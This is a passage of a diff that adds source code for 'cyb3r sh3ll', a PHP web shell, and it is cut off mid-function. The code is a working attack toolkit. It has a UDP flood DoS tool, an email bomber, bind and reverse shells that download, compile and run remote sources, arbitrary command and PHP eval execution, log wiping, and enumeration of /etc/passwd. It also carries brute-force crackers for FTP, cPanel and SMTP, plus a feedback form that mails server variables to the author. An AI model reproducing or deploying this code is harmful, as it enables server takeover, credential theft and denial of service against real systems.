+ if ($dbms == "mysql") {echo "Connect to DB ";}
+
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";}
+
+ echo "Parameters for manual connect: ";
+
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+
+ echo " ";
+
+ }
+
+ }
+
+ echo "";
+
+ if (!empty($white)) {@ob_clean();}
+
+ highlight_file($d.$f);
+
+ if (!empty($white)) {cyb3rexit();}
+
+ echo "
";
+
+ }
+
+ elseif ($ft == "download")
+
+ {
+
+ @ob_clean();
+
+ header("Content-type: application/octet-stream");
+
+ header("Content-length: ".filesize($d.$f));
+
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+
+ echo $r;
+
+ exit;
+
+ }
+
+ elseif ($ft == "notepad")
+
+ {
+
+ @ob_clean();
+
+ header("Content-type: text/plain");
+
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+
+ echo($r);
+
+ exit;
+
+ }
+
+ elseif ($ft == "img")
+
+ {
+
+ $inf = getimagesize($d.$f);
+
+ if (!$white)
+
+ {
+
+ if (empty($imgsize)) {$imgsize = 20;}
+
+ $width = $inf[0]/100*$imgsize;
+
+ $height = $inf[1]/100*$imgsize;
+
+ echo "Size: ";
+
+ $sizes = array("100","50","20");
+
+ foreach ($sizes as $v)
+
+ {
+
+ echo "";
+
+ if ($imgsize != $v ) {echo $v;}
+
+ else {echo "".$v." ";}
+
+ echo " ";
+
+ }
+
+ echo " ";
+
+ }
+
+ else
+
+ {
+
+ @ob_clean();
+
+ $ext = explode($f,".");
+
+ $ext = $ext[count($ext)-1];
+
+ header("Content-type: ".$inf["mime"]);
+
+ readfile($d.$f);
+
+ exit;
+
+ }
+
+ }
+
+ elseif ($ft == "edit")
+
+ {
+
+ if (!empty($submit))
+
+ {
+
+ if ($filestealth) {$stat = stat($d.$f);}
+
+ $fp = fopen($d.$f,"w");
+
+ if (!$fp) {echo "Can't write to file! ";}
+
+ else
+
+ {
+
+ echo "Saved! ";
+
+ fwrite($fp,$edit_text);
+
+ fclose($fp);
+
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+
+ $r = $edit_text;
+
+ }
+
+ }
+
+ $rows = count(explode("\r\n",$r));
+
+ if ($rows < 10) {$rows = 10;}
+
+ if ($rows > 30) {$rows = 30;}
+
+ echo " ".htmlspecialchars($r)." ";
+
+ }
+
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+
+ }
+
+}
+
+if ($act == "about")
+{
+echo 'Script: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
+Name: cyb3r sh3ll Version: '.$shver.' Author: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
+Name: cyb3r 9l4d!470r (Cyber Gladiator) Country: India Website: ????... Email: cyb3r.gladiat0r@gmail.com
+Greetings: -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=- r45c4l bro you are my source of inspiration. r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot and they know for whom i\'m speaking. Thanks all who report bugs and send to my email id.
';
+}
+
+if ($act == "dos")
+{
+?>
+Server IP:
+Your IP: (Don't DoS yourself nub)
+
+IP:
+
+ Time:
+
+ Port:
+
+
+
+
+After initiating the DoS attack, please wait while the browser loads. alert('Dos Completed!');";
+print "Flooded: $ip on port $rand ";
+$max_time = $time+$exec_time;
+
+
+
+for($i=0;$i<65535;$i++){
+ $out .= "X";
+}
+while(1){
+$packets++;
+ if(time() > $max_time){
+ break;
+ }
+
+ $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
+ if($fp){
+ fwrite($fp, $out);
+ fclose($fp);
+ }
+}
+echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
+}
+
+if ($act == "localdomain")
+{
+echo "Sites on this server. | List of Users. ";
+}
+
+ if ($act == "local")
+ {
+ //radable public_html
+ $file = @implode(@file("/etc/named.conf"));
+ if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
+ preg_match_all("#named/(.*?).db#",$file ,$r);
+ $domains = array_unique($r[1]);
+
+ function check()
+ {
+ (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):"";
+ }
+
+ check();
+
+ echo "
+ [+] Here : [ ".count($domains)." ] Domain ...
+ List of Domains List of Users ";
+
+ foreach($domains as $domain)
+ {
+ $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
+ echo "$domain ".$user['name']." ";
+ }
+
+ echo "
";
+//radable public_html
+ }
+
+ if ($act == "readable")
+ {
+ //entries in passwd file
+($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: safe_mode = on ');
+set_time_limit(0);
+###################
+@$passwd = fopen('/etc/passwd','r');
+if (!$passwd) { die('[-] Error : coudn`t read /etc/passwd '); }
+$pub = array();
+$users = array();
+$conf = array();
+$i = 0;
+while(!feof($passwd))
+{
+$str = fgets($passwd);
+if ($i > 35)
+{
+$pos = strpos($str,':');
+$username = substr($str,0,$pos);
+$dirz = '/home/'.$username.'/public_html/';
+if (($username != ''))
+{
+if (is_readable($dirz))
+{
+array_push($users,$username);
+array_push($pub,$dirz);
+}
+}
+}
+$i++;
+}
+###################
+echo '';
+echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
+echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
+echo "[~] Searching for passwords in config files...\n\n";
+foreach ($users as $user)
+{
+$path = "/home/$user/public_html/";
+echo "$path \n";
+}
+echo "\n";
+echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <- that's on the menu -> Explorer \n";
+echo "[+] Done ...\n";
+echo ' Coded by cyb3r 9l4d!470r Homepage ';
+
+
+ }
+
+
+ if ($act == "mailer")
+ {
+ ?>
+
+ (: E-Mail Bomber :)
+ [: Mass Mailer :]
+ {: Anonymous Mailer :}
+
+
+
+ Some Error Occured!";
+ break;
+ }
+ }
+ if($error != 1)
+ { echo "Mail(s) Sent! "; }
+ }
+ else
+ {
+ ?>
+ ">
+
+
+
+
+
+
+
+ Mail Sent!";
+ }
+ else
+ {
+ echo "Some Error Occured! ";
+ }
+ }
+ else
+ {
+ ?>
+ ">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Proxy | Whois ";
+}
+
+ if ($act == "feedback")
+
+{
+
+ $suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ==");
+
+ if (!empty($submit))
+
+ {
+
+ $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
+
+ $body = "cyb3r sh3llv.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
+
+ if (!empty($fdbk_ref))
+
+ {
+
+ $tmp = @ob_get_contents();
+
+ ob_clean();
+
+ phpinfo();
+
+ $phpinfo = base64_encode(ob_get_contents());
+
+ ob_clean();
+
+ echo $tmp;
+
+ $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
+
+ }
+
+ mail($suppmail,"cyb3r sh3ll v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
+
+ echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
+
+ }
+
+ else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)." Attach server-info * There are no checking in the form. * - strongly recommended, if you report bug, because we need it for bug-fix. We understand languages: English, Hindi. ";}
+
+}
+
+if ($act == "systeminfo") {echo system('systeminfo');}
+
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); }
+
+if ($act == "upload")
+
+{
+ echo "File upload:
+
+Select file on your local computer: or
+
+Save this file dir:
+
+File-name (auto-fill):
+
+
+
+ ";
+$target = $_POST['path'];
+ $target = $target .'\\'. basename( $_FILES['uploaded']['name']) ;
+ $ok=1;
+if (isset($_FILES['uploaded']['name'])) {
+ if (file_exists($target))
+ {
+ echo $_FILES["uploaded"]["name"] . " already exists. ";
+ }
+ else
+ {
+ if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
+ {
+ echo "Upload: " . $_FILES["uploaded"]["name"] . " ";
+ echo "Type: " . $_FILES["uploaded"]["type"] . " ";
+ echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb ";
+ echo "Stored in: " . $target;
+ }
+ else
+ {
+ echo "Sorry, there was a problem uploading your file.";
+ }
+ }
+ }
+}
+if ($act == "whois")
+{
+global $t,$hcwd;
+if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
+$server =$_REQUEST['server'];
+$domain=$_REQUEST['domain']."\r\n";
+$ser=fsockopen($server,43,$en,$es,5);
+fputs($ser,$domain);
+echo "";
+while(!feof($ser))echo fgets($ser);
+echo " ";
+fclose($ser);
+}
+else{
+echo " ";
+}
+}
+
+
+
+if ($act == "cracker")
+{
+ echo "
+
+Hash -|-
+SMTP -|-
+POP3 -|-
+IMAP -|-
+FTP -|-
+SNMP -|-
+MySQL -|-
+HTTP Form -|-
+HTTP Auth(basic) -|-
+CPANEL -|-
+Dictionary Maker
+ ";
+}
+
+if ($act == "shells")
+{ ?>
+
+
+ (: Bind/Reverse Shell :)
+ [: Web Shell :]
+
+
+
+
+ array("Using PERL","perl %path %port"),
+
+ "cyb3r_bindport.c"=>array("Using C","%path %port %pass")
+
+ );
+
+ $bcsrcs = array(
+
+ "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+
+ "cyb3r_backconn.c"=>array("Using C","%path %host %port")
+
+ );
+
+ $dpsrcs = array(
+
+ "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
+
+ "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
+
+ );
+
+ if (!is_array($bind)) {$bind = array();}
+
+ if (!is_array($bc)) {$bc = array();}
+
+ if (!is_array($datapipe)) {$datapipe = array();}
+
+
+
+ if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
+
+ if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
+
+
+
+ if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
+
+ if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
+
+
+
+ if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
+
+ if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
+
+ if (!empty($bindsubmit))
+
+ {
+
+ echo "Result of binding port: ";
+
+ $v = $bndportsrcs[$bind["src"]];
+
+ if (empty($v)) {echo "Unknown file! ";}
+
+ elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+
+ else
+
+ {
+
+ $w = explode(".",$bind["src"]);
+
+ $ext = $w[count($w)-1];
+
+ unset($w[count($w)-1]);
+
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+
+ if ($ext == "pl") {$binpath = $srcpath;}
+
+ @unlink($srcpath);
+
+ $fp = fopen($srcpath,"ab+");
+
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+
+ elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";}
+
+ else
+
+ {
+
+ fwrite($fp,$data,strlen($data));
+
+ fclose($fp);
+
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+
+ $v[1] = str_replace("%port",$bind["port"],$v[1]);
+
+ $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
+
+ $v[1] = str_replace("//","/",$v[1]);
+
+ $retbind = myshellexec($v[1]." > /dev/null &");
+
+ sleep(5);
+
+ $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
+
+ if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
+
+ else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View binder's process ";}
+
+ }
+
+ echo " ";
+
+ }
+
+ }
+
+ if (!empty($bcsubmit))
+
+ {
+
+ echo "Result of back connection: ";
+
+ $v = $bcsrcs[$bc["src"]];
+
+ if (empty($v)) {echo "Unknown file! ";}
+
+ else
+
+ {
+
+ $w = explode(".",$bc["src"]);
+
+ $ext = $w[count($w)-1];
+
+ unset($w[count($w)-1]);
+
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+
+ if ($ext == "pl") {$binpath = $srcpath;}
+
+ @unlink($srcpath);
+
+ $fp = fopen($srcpath,"ab+");
+
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+
+ elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";}
+
+ else
+
+ {
+
+ fwrite($fp,$data,strlen($data));
+
+ fclose($fp);
+
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+
+ $v[1] = str_replace("%host",$bc["host"],$v[1]);
+
+ $v[1] = str_replace("%port",$bc["port"],$v[1]);
+
+ $v[1] = str_replace("//","/",$v[1]);
+
+ $retbind = myshellexec($v[1]." > /dev/null &");
+
+ echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... ";
+
+ }
+
+ }
+
+ }
+
+ if (!empty($dpsubmit))
+
+ {
+
+ echo "Result of datapipe-running: ";
+
+ $v = $dpsrcs[$datapipe["src"]];
+
+ if (empty($v)) {echo "Unknown file! ";}
+
+ elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+
+ else
+
+ {
+
+ $srcpath = $tmpdir.$datapipe["src"];
+
+ $w = explode(".",$datapipe["src"]);
+
+ $ext = $w[count($w)-1];
+
+ unset($w[count($w)-1]);
+
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+
+ if ($ext == "pl") {$binpath = $srcpath;}
+
+ @unlink($srcpath);
+
+ $fp = fopen($srcpath,"ab+");
+
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+
+ elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";}
+
+ else
+
+ {
+
+ fwrite($fp,$data,strlen($data));
+
+ fclose($fp);
+
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+
+ list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
+
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+
+ $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
+
+ $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
+
+ $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
+
+ $v[1] = str_replace("//","/",$v[1]);
+
+ $retbind = myshellexec($v[1]." > /dev/null &");
+
+ sleep(5);
+
+ $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
+
+ if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
+
+ else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View datapipe process ";}
+
+ }
+
+ echo " ";
+
+ }
+
+ }
+
+ ?>Binding port: Port: "> Password: "> $v) {echo "".$v[0]." ";}
+
+ ?>
+
+Back connection: HOST: "> Port: "> $v) {echo "".$v[0]." ";}
+
+?>
+
+Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!
+
+Datapipe:
+
+ HOST: "> Local port: "> $v) {echo "".$v[0]." ";}
+
+?> Note: sources will be downloaded from remote server.
+
+
+
+
+
+
+
+ [: Enter Command to Execute: :]
+
+
+Useful Commands
+
+
+
+
+
+
+
+
+
+
+
+
+ Kernel version
+
+ Logged in users
+
+ Last to connect
+
+ Suid bins
+
+ USER WITHOUT PASSWORD!
+
+ Write in /etc/?
+
+ Downloaders?
+
+ CPUINFO
+
+ Open ports
+
+ gcc installed?
+
+ Format box (DANGEROUS)
+
+ WIPELOGS PT1 (If wget installed)
+
+ WIPELOGS PT2
+
+ WIPELOGS PT3
+
+ Kernel attack (Krad.c) PT1 (If wget installed)
+
+ Kernel attack (Krad.c) PT2 (L1)
+
+ Kernel attack (Krad.c) PT2 (L2)
+
+ Kernel attack (Krad.c) PT2 (L3)
+
+ Kernel attack (Krad.c) PT2 (L4)
+
+ Kernel attack (Krad.c) PT2 (L5)
+
+
+
+
+
+
+
+
+
+
+
+ Warning. Kernel may be alerted using higher levels
+
+
+
+
+
+
+
+
+
Result of execution this command: ";
+
+ $olddir = realpath(".");
+
+ @chdir($d);
+
+ $ret = myshellexec($cmd);
+
+ $ret = convert_cyr_string($ret,"d","w");
+
+ if ($cmd_txt)
+
+ {
+
+ $rows = count(explode("\r\n",$ret))+1;
+
+ if ($rows < 10) {$rows = 10;}
+
+ echo "".htmlspecialchars($ret)." ";
+
+ }
+
+ else {echo $ret." ";}
+
+ @chdir($olddir);
+
+ }
+
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+
+}
+
+}
+
+if ($act == "phpcode")
+{
+ echo "
+
+PHP Code Evaluate -|-
+Mass Code Injector -|-
+PHP Obfuscator -|-
+Web Server Fuzzer
+ ";
+}
+
+if ($act == "eval")
+
+{
+
+ if (!empty($eval))
+
+ {
+
+ echo "Result of execution this PHP-code : ";
+
+ $tmp = ob_get_contents();
+
+ $olddir = realpath(".");
+
+ @chdir($d);
+
+ if ($tmp)
+
+ {
+
+ ob_clean();
+
+ eval($eval);
+
+ $ret = ob_get_contents();
+
+ $ret = convert_cyr_string($ret,"d","w");
+
+ ob_clean();
+
+ echo $tmp;
+
+ if ($eval_txt)
+
+ {
+
+ $rows = count(explode("\r\n",$ret))+1;
+
+ if ($rows < 10) {$rows = 10;}
+
+ echo "".htmlspecialchars($ret)." ";
+
+ }
+
+ else {echo $ret." ";}
+
+ }
+
+ else
+
+ {
+
+ if ($eval_txt)
+
+ {
+
+ echo "";
+
+ eval($eval);
+
+ echo " ";
+
+ }
+
+ else {echo $ret;}
+
+ }
+
+ @chdir($olddir);
+
+ }
+
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+
+}
+
+if ($act == "proxy")
+{
+global $errorbox,$et,$footer,$hcwd;
+echo "";
+if (!empty($_REQUEST['urL'])){
+$dir="";
+$u=parse_url($_REQUEST['urL']);
+$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
+if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
+$url=@fsockopen($host, 80, $errno, $errstr, 12);
+if(!$url)die(" $errorbox Can not connect to host!$et$footer");
+fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
+while(!feof($url)){
+$con = fgets($url);
+$con = str_replace("href=mailto","HrEf=mailto",$con);
+$con = str_replace("HREF=mailto","HrEf=mailto",$con);
+$con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
+$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
+$con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
+$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
+$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con);
+$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
+echo $con;
+}
+fclose($url);
+}
+}
+
+
+if ($act == "obfuscate")
+{
+ if ( isset($_POST['code']) &&
+ $_POST['code'] != '')
+ {
+ $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P
+ $encode = '
+
+';
+ }
+ else
+ {
+ $encode = 'Please Enter your Code! and Click Submit! :)';
+ }?>
+
+
+
+
+ $data
";
+
+ print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message ";
+ for($i=0;$i<$times;$i++)
+ {
+ $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
+ if($socket)
+ {
+ fwrite($socket , $data , $length );
+ fclose($socket);
+ }
+ }
+ echo "";
+ echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")." ";
+ echo "Total Number of Packets Sent : " . $times . " ";
+ echo "Total Data Sent = ". showsizE($times*$length) . " ";
+ echo "Data per packet = " . showsizE($length) . " ";
+ }
+ else
+ {
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+";
+ cpanel_check($target,$pureuser,$firstVal,$connect_timeout);
+
+ while (1) {
+ for ($i = 0; $i < ($max + 1); $i++) {
+ if ($A[$i] == -1) {
+ break;
+ }
+ }
+ $i--;
+ $incDone = 0;
+ while (!$incDone) {
+ for ($j = 0; $j < $numVals; $j++) {
+ if ($A[$i] == $vals[$j]) {
+ break;
+ }
+ }
+ if ($j == ($numVals - 1)) {
+ $A[$i] = $vals[0];
+ $i--;
+ if ($i < 0) {
+ for ($i = 0; $i < ($max + 1); $i++) {
+ if ($A[$i] == -1) {
+ break;
+ }
+ }
+ $A[$i] = $vals[0];
+ $A[$i + 1] = -1;
+ $incDone = 1;
+ print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking
";
+ }
+ } else {
+ $A[$i] = $vals[$j + 1];
+ $incDone = 1;
+ }
+ }
+ $i = 0;
+ $currentVal = "";
+ while ($A[$i] != -1) {
+ $currentVal = $currentVal . $A[$i];
+ $i++;
+ }
+ cpanel_check($target,$pureuser,$currentVal,$connect_timeout);
+ //echo $currentVal . "
";
+ if ($currentVal == $realMax) {
+ return 0;
+ }
+ }
+}
+function getmicrotimev() {
+ list($usec, $sec) = explode(" ",microtime());
+ return ((float)$usec + (float)$sec);
+}
+
+function ftp_check($host,$user,$pass,$timeout)
+{
+ $ch = curl_init();
+ curl_setopt($ch, CURLOPT_URL, "ftp://$host");
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
+ curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
+ curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
+ curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
+ curl_setopt($ch, CURLOPT_FAILONERROR, 1);
+ $data = curl_exec($ch);
+ if ( curl_errno($ch) == 28 )
+ {
+ print "
+ Error : Connection Timeout
+ Please Check The Target Hostname . ";exit;
+ }
+ else if ( curl_errno($ch) == 0 )
+ {
+ print "
[~]
+ Cracking Success With Username " $user \"
+ and Password \" $pass \" ";
+ }
+ curl_close($ch);
+}
+function cpanel_check($host,$user,$pass,$timeout)
+{
+ global $cpanel_port;
+ $ch = curl_init();
+ //echo "http://$host:".$cpanel_port." $user $pass ";
+ curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
+ curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
+ curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
+ curl_setopt($ch, CURLOPT_FAILONERROR, 1);
+ $data = curl_exec($ch);
+ if ( curl_errno($ch) == 28 )
+ {
+ print "
+ Error : Connection Timeout
+ Please Check The Target Hostname . ";exit;
+ }
+ else if ( curl_errno($ch) == 0 )
+ {
+ print "[~]
+ Cracking Success With Username " $user \"
+ and Password \" $pass \" ";
+ }
+ curl_close($ch);
+}
+
+$time_start = getmicrotime();
+
+if(isset($submit) && !empty($submit))
+{
+ if(empty($users) && empty($pass) )
+ {
+ print "Error : Please Check The Users or Password List Entry . . .
"; exit; }
+ if(empty($users)){ print "Error : Please Check The Users List Entry . . .
"; exit; }
+ if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "Error : Please Check The Password List Entry . . .
"; exit; };
+ $userlist=explode("\n",$users);
+ $passlist=explode("\n",$pass);
+ print "[~]#
+ LETS GAME BEGIN ;) ... ";
+
+ if(isset($_POST['connect_timeout']))
+ {
+ $connect_timeout=$_POST['connect_timeout'];
+ }
+
+ if($cracktype == "ftp")
+ {
+ foreach ($userlist as $user)
+ {
+ $pureuser = trim($user);
+ foreach ($passlist as $password )
+ {
+ $purepass = trim($password);
+ ftp_check($target,$pureuser,$purepass,$connect_timeout);
+ }
+ }
+ }
+
+ if ($cracktype == "cpanel" || $cracktype == "cpanel2")
+ {
+ if($cracktype == "cpanel2")
+ {
+ $cpanel_port="23";
+ }
+ else
+ $cpanel_port="2082";
+
+ foreach ($userlist as $user)
+ {
+ $pureuser = trim($user);
+ print "[~]#
+ Please put some good password to crack user $pureuser :( ... ";
+ if($_POST['bruteforce']=="true")
+ {
+ echo " bruteforcing ..";
+ echo " ";
+ brute();
+ }
+ else
+ {
+ echo " ";
+ foreach ($passlist as $password )
+ {
+ $purepass = trim($password);
+ cpanel_check($target,$pureuser,$purepass,$connect_timeout);
+ }
+ }
+ }
+ $time_end = getmicrotime();
+$time = $time_end - $time_start;
+ print "[~]#
+ Cracking Finished. Elapsed time: $time seconds ";
+ }
+}
+
+
+
+?>
+
+
+
+
+
+ $val)
+ {
+ $str=explode(":",$val);
+ echo $str[0]."\n";
+ }
+
+ }
+ if (isset($_POST['grab_users2']))
+ {
+ $dir = "/home/";
+ if ($dh = opendir($dir)) {
+ while (($file = readdir($dh)) !== false) {
+ echo $file. "\n";
+ }
+ closedir($dh);
+ }
+ }
+?>
+
+
+
+
+
+
+
+
+
+ ";
+}
+}
+
+}
+closedir($dh);
+}
+}
+?>
+
+
+
+
+Cracking " . htmlspecialchars($hash)."... ";flusheR();
+$type=($_REQUEST['type']=='MD5')?'md5':'sha1';
+while(!feof($dictionary)){
+$word=trim(fgets($dictionary)," \n\r");
+if ($hash==strtoupper(($type($word)))){echo "The answer is $word ";break;}
+}
+echo "Done!";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}
+echo "
";
+echo $eval_php_code;
+}
+
+if ($act == "smtp")
+{
+global $t,$et,$errorbox,$crack;
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";flusheR();
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$smtp=smtplogiN($target,$user,$pass,5);
+if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{
+if ($smtp){echo "U: $user P: $pass ";if(!$type)break;}}
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}else
+{
+echo "SMTP cracker:$crack";
+}
+
+echo " ";
+
+
+}
+
+if ($act == "pop3")
+{
+
+global $t,$et,$errorbox,$crack;
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
